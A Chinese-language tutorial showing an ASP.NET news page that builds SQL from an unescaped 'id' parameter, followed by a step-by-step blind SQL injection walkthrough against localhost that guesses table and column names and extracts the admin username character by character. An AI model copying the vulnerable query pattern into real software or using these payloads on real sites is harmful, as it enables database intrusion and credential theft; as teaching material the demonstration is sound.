public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection();
try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
if (ds.Tables[0].Rows.Count <= 0) return;
_news.Title = ds.Tables[0].Rows[0]["title"].ToString();
_news.Text = ds.Tables[0].Rows[0]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{
}
}
} 一、过程重现
1. 测试有没有注入漏洞
浏览器输入 http://localhost:2003/newsInfo?id=1 and 1=1 页面正常 后台执行的SQL语句为:select * from news where id=1 and 1=1
输入 http://localhost:2003/newsInfo?id=1 and 1=2 空白页面,数据无法显示(后台执行的SQL语句为:select * from news where id=1 and 1=2),页面有注入漏洞。
2. 猜解数据库表名
既然有漏洞,就准备做点事情咯,主要目的是拿到后台管理员密码,先看看数据库里有哪些表吧
http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0 没有数据,继续猜解...... N次,
终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0
这里是利用 后面的条件查询数据库表,如果表不存在,后台就报错了,本测试示例后台对异常做了处理,但是数据肯定是出不来的。
数据显示正常,说明表 user 存在,判断 为 用户表
3. 表字段猜解
http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0 ....... N次
http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0 页面数据正常如下图
说名表 user 存在 pwd 字段
同理 确认表 user 里存在 name 字段。
4. 查询表里有多少条数据
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白页面
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白页面
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1 页面正常 ,只有一个用户。
5. 用户名猜解
<A> 用户名长度,
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3 ,返回空白页面
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白页面
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5 ,返回正常页面,确定用户名为5位字符
<B> 用户名猜解
第一位 http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常页面 ...........
下面猜解 N次
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常页面
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97 返回空白页面了
这说明 第一位 ASCII值为 97,对应字母 a
以此类推 ,第2位,第3位 .....第5位, 猜解出用户名 admin ,在这里主要用了 ASCII 和 SUBSTRING 函数,如果对这两个函数不熟悉请自行百度,下面是猜解过程截图。